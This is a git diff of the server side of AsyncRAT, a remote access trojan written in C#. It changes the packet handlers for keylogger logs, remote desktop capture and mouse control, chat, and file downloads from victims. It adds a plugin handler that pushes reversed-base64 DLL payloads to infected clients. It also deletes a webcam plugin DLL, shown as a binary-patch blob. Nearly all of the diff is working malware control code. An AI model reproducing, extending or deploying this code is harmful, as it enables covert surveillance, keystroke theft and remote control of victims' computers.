System.Windows.Forms.Button btnMouse; + public System.Windows.Forms.Button button1; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs index 30a6bee..a894363 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs @@ -71,8 +71,8 @@ namespace Server.Forms { button2.Top = panel1.Bottom + 5; button2.Left = pictureBox1.Width / 2; - button1.Tag = (object)"stop"; - button2.PerformClick(); + button1.Tag = (object)"play"; + //button2.PerformClick(); } catch { } } @@ -83,27 +83,29 @@ namespace Server.Forms { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "capture"; + msgpack.ForcePathObject("Command").AsString = "capture"; msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString()); msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString()); decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value)); - ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = false; numericUpDown2.Enabled = false; + btnSave.Enabled = true; + btnMouse.Enabled = true; button1.Tag = (object)"stop"; button1.BackgroundImage = Properties.Resources.stop__1_; } else { button1.Tag = (object)"play"; - try - { - Client.Disconnected(); - Client = null; - } - catch { } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + msgpack.ForcePathObject("Command").AsString = "stopCapture"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); numericUpDown1.Enabled = true; numericUpDown2.Enabled = true; + btnSave.Enabled = false; + btnMouse.Enabled = false; button1.BackgroundImage = Properties.Resources.play_button; } } @@ -183,7 +185,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("Command").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = p.X; msgpack.ForcePathObject("Y").AsInteger = p.Y; msgpack.ForcePathObject("Button").AsInteger = button; @@ -208,7 +210,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseClick"; + msgpack.ForcePathObject("Command").AsString = "mouseClick"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); msgpack.ForcePathObject("Button").AsInteger = (Int32)(button); @@ -227,7 +229,7 @@ namespace Server.Forms Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height)); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; - msgpack.ForcePathObject("Option").AsString = "mouseMove"; + msgpack.ForcePathObject("Command").AsString = "mouseMove"; msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X); msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y); ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); diff --git a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx index 53b21e6..e5b63af 100644 --- a/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx +++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx @@ -123,9 +123,6 @@ 131, 17 - - 273, 17 - diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs index e2e1304..158b878 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleChat.cs @@ -15,19 +15,39 @@ namespace Server.Handle_Packet { public HandleChat(MsgPack unpack_msgpack, Clients client) { - FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID]; - if (chat != null) + switch (unpack_msgpack.ForcePathObject("Command").GetAsString()) { - Console.Beep(); - chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); - chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; - chat.richTextBox1.ScrollToCaret(); - } - else - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + case "started": + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; + if (chat != null) + { + chat.Client = client; + chat.timer1.Start(); + chat.textBox1.Enabled = true; + chat.richTextBox1.Enabled = true; + } + break; + } + + case "chat": + { + FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString]; + if (chat != null) + { + Console.Beep(); + chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString); + chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength; + chat.richTextBox1.ScrollToCaret(); + } + else + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "chatExit"; + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + break; + } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 71286e9..8c13015 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -24,9 +24,11 @@ namespace Server.Handle_Packet { case "getDrivers": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { + FM.Client = client; + FM.listView1.Enabled = true; FM.toolStripStatusLabel1.Text = ""; FM.listView1.Items.Clear(); string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None); @@ -50,7 +52,7 @@ namespace Server.Handle_Packet case "getPath": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString; @@ -105,7 +107,7 @@ namespace Server.Handle_Packet case "error": { - FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID]; + FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString]; if (FM != null) { FM.listView1.Enabled = true; @@ -150,15 +152,17 @@ namespace Server.Handle_Packet FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) - return; - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); + string filename = Path.Combine(SD.FullPath, unpack_msgpack.ForcePathObject("Name").AsString); + string filemanagerPath = SD.FullPath; + + if (!Directory.Exists(filemanagerPath)) + Directory.CreateDirectory(filemanagerPath); if (File.Exists(filename)) { File.Delete(filename); await Task.Delay(500); } - await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString))); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename)); SD.Close(); } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs index c34cf36..2e30f71 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleKeylogger.cs @@ -13,9 +13,11 @@ namespace Server.Handle_Packet { public HandleKeylogger(Clients client, MsgPack unpack_msgpack) { - try + switch (unpack_msgpack.ForcePathObject("Command").AsString) { - FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID]; + case "logs": + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; if (KL != null) { KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString()); @@ -25,14 +27,26 @@ namespace Server.Handle_Packet } else { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "keyLogger"; - msgpack.ForcePathObject("isON").AsString = "false"; - client.Send(msgpack.Encode2Bytes()); - } + client.Disconnected(); + } + break; + } + case "started": + { + FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()]; + if (KL != null) + { + KL.Client = client; + KL.timer1.Start(); + } + else + { + client.Disconnected(); + } + break; + } } - catch { } } } } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs new file mode 100644 index 0000000..b3e398b --- /dev/null +++ b/AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs @@ -0,0 +1,37 @@ +using Server.Connection; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.IO; +using System.Windows.Forms; +using Server.Helper; +using Server.MessagePack; +using Microsoft.VisualBasic; + +namespace Server.Handle_Packet +{ + public class HandlePlugin + { + public HandlePlugin(Clients client, string hash) + { + if (hash.Length == 32 && !hash.Contains("\\")) + { + foreach (string _hash in Directory.GetFiles(Path.Combine(Application.StartupPath, "Plugin"))) + { + if (hash == Methods.GetHash(_hash)) + { + Console.WriteLine("Found: " + hash); + MsgPack msgPack = new MsgPack(); + msgPack.ForcePathObject("Packet").AsString = "plugin"; + msgPack.ForcePathObject("Command").AsString = "install"; + msgPack.ForcePathObject("Hash").AsString = hash; + msgPack.ForcePathObject("Dll").AsString = Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(_hash))); + client.Send(msgPack.Encode2Bytes()); + } + } + } + } + } +} diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index c5fbfbf..28bb6b4 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -12,6 +12,44 @@ namespace Server.Handle_Packet { public class HandleRemoteDesktop { + public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack) + { + switch (unpack_msgpack.ForcePathObject("Command").AsString) + { + case "screens": + { + Debug.WriteLine("I got the screen size"); + ScreenSize(client, unpack_msgpack); + break; + } + + case "capture": + { + Capture(client, unpack_msgpack); + break; + } + } + } + + public void ScreenSize(Clients client, MsgPack unpack_msgpack) + { + FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString]; + try + { + if (RD.Client == null) + { + RD.Client = client; + int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); + RD.numericUpDown2.Maximum = Screens - 1; + RD.labelWait.Visible = false; + RD.timer1.Start(); + RD.button1.Enabled = true; + RD.button1.Tag = (object)"play"; + RD.button1.PerformClick(); + } + } + catch { } + } public void Capture(Clients client, MsgPack unpack_msgpack) { try @@ -21,21 +59,9 @@ namespace Server.Handle_Packet { if (RD != null) { - if (RD.Client == null) - { - RD.Client = client; - RD.timer1.Start(); - byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); - RD.rdSize = decoded0.Size; - RD.labelWait.Visible = false; - } byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream)); - int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); - RD.numericUpDown2.Maximum = Screens - 1; - if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20)) { RD.pictureBox1.Image = decoded; diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs index 961d86a..c89c4c5 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleWebcam.cs @@ -49,6 +49,7 @@ namespace Server.Handle_Packet { client.Disconnected(); } + webcam.button1.PerformClick(); } else { diff --git a/AsyncRAT-C#/Server/Handle Packet/Packet.cs b/AsyncRAT-C#/Server/Handle Packet/Packet.cs index 2b86af3..d042e31 100644 --- a/AsyncRAT-C#/Server/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Server/Handle Packet/Packet.cs @@ -86,7 +86,7 @@ namespace Server.Handle_Packet } case "remoteDesktop": { - new HandleRemoteDesktop().Capture(client, unpack_msgpack); + new HandleRemoteDesktop(client, unpack_msgpack); break; } @@ -138,6 +138,12 @@ namespace Server.Handle_Packet new HandleWebcam(unpack_msgpack, client); break; } + + case "plugin": + { + new HandlePlugin(client, unpack_msgpack.ForcePathObject("Hash").AsString); + break; + } } } diff --git a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs index 0d6d09e..61776fd 100644 --- a/AsyncRAT-C#/Server/Helper/CreateCertificate.cs +++ b/AsyncRAT-C#/Server/Helper/CreateCertificate.cs @@ -49,5 +49,12 @@ namespace Server.Helper return certificate2; } + + public static string Export() + { + var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable); + var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); + return Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)); + } } } diff --git a/AsyncRAT-C#/Server/Helper/Methods.cs b/AsyncRAT-C#/Server/Helper/Methods.cs index 9840d6b..94e45ac 100644 --- a/AsyncRAT-C#/Server/Helper/Methods.cs +++ b/AsyncRAT-C#/Server/Helper/Methods.cs @@ -1,5 +1,6 @@ using System; using System.IO; +using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; @@ -38,5 +39,16 @@ namespace Server.Helper return randomName.ToString(); } + + public static string GetHash(string strToHash) + { + MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider(); + byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash); + bytesToHash = md5Obj.ComputeHash(bytesToHash); + StringBuilder strResult = new StringBuilder(); + foreach (byte b in bytesToHash) + strResult.Append(b.ToString("x2")); + return strResult.ToString(); + } } } diff --git a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs index 77dd54c..99c1497 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/Server/Properties/Resources.Designer.cs @@ -290,26 +290,6 @@ namespace Server.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginCam { - get { - object obj = ResourceManager.GetObject("PluginCam", resourceCulture); - return ((byte[])(obj)); - } - } - - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] PluginDesktop { - get { - object obj = ResourceManager.GetObject("PluginDesktop", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Byte[]. /// diff --git a/AsyncRAT-C#/Server/Properties/Resources.resx b/AsyncRAT-C#/Server/Properties/Resources.resx index efbdd7a..1815859 100644 --- a/AsyncRAT-C#/Server/Properties/Resources.resx +++ b/AsyncRAT-C#/Server/Properties/Resources.resx @@ -166,9 +166,6 @@ ..\Resources\mouse.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\PluginCam.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\tomem1.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -238,9 +235,6 @@ ..\Resources\webcam.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\PluginDesktop.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\PluginRecovery.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 diff --git a/AsyncRAT-C#/Server/Resources/PluginCam.dll b/AsyncRAT-C#/Server/Resources/PluginCam.dll deleted file mode 100644 index e63a310929ed02d70b1d07d843e4681b5891b81e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 84480 zcmb??WmuI<*YGCXz^0@dq&FQ(cb5nVh)8#{=}u`RrKF{$k!}QOq(M3qq)SrzyMc3_ zbKbb#U*CPn%&M7{vt}&CH!&at5D0__{M_DxK=r_U_le$*|M%brurVkaF+kNQgOv4f z&j%^h%q<+B*g3$=91Lup7#Y~w!knHMnmloEwtZq@`$SSn^@$D4*n|}w9YXWh*2+>K z&~rEhkeu{f_utxzbuw{t0&ru|zx=xM^)I{s76X>(vpP6B7y*QP+W;Hy9hC&;e|@4rx>y}dtYLuQ zovk3i=KH;5|A(CTzn0yDqWTXqcecTU9)SY+;Xpe;a{gX<#R>w2qW+Ej_tpOsCx!wG zz>LH`z!F48a`=0b0rW0acj*00>;pvl9=)H5eSqxUqxUnh&!fN4`nG zbcYiA0MWgt-p|B7D1V{%GYCY&jsyz+%WMQc2*4yHAaw+^Luj9XdO;u!SFCZEd&NAgAhcb1CgM`r{GVA0a_vWDgOtPAO#AT0)YVrKnS3~!iVh$90BDJ zeB2u_E=&Pju>~_02_jV z&B^Wvm;eFS5h!@blMnnL&=YoNz)>s!{aX*^Wjzw-^F1(u^C{Z~5&{#N;5 z6w-rHcf0*#ndZMX{)c+6^67{FP7naf3aAgTBORdafqCZ)lpYx9{#DoytpDcG{Ym+^ z&Hqb{GNJw}&OibF8v_dP-}M&?MEvgO@A@NQM+BV$4g)#Ga)bf~LBQ}%0G|ZL03cuo z0JMVvwE=-K0Rt)$Uk@ORkf5K7cU9krf#5VQjz%11>^{BL^_}0dW_j@9+?W0C)*U!j1r9 z2OI}lBbFm@`9UE6*aqVRa5N@1WEjwBAWlHU;LyP+FaZE@P`PtZ5P)ESs}MSre>|W= zh6w{CmcB(?WM{xdI2=SQL}nx`M3@Lbp1%(~Di|gTAov^_NdH9rKF}~RfR6M}j2$%Z zoO~d{{`S`gXg7#|5&she@O?YKr!uMi|J&99=¥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 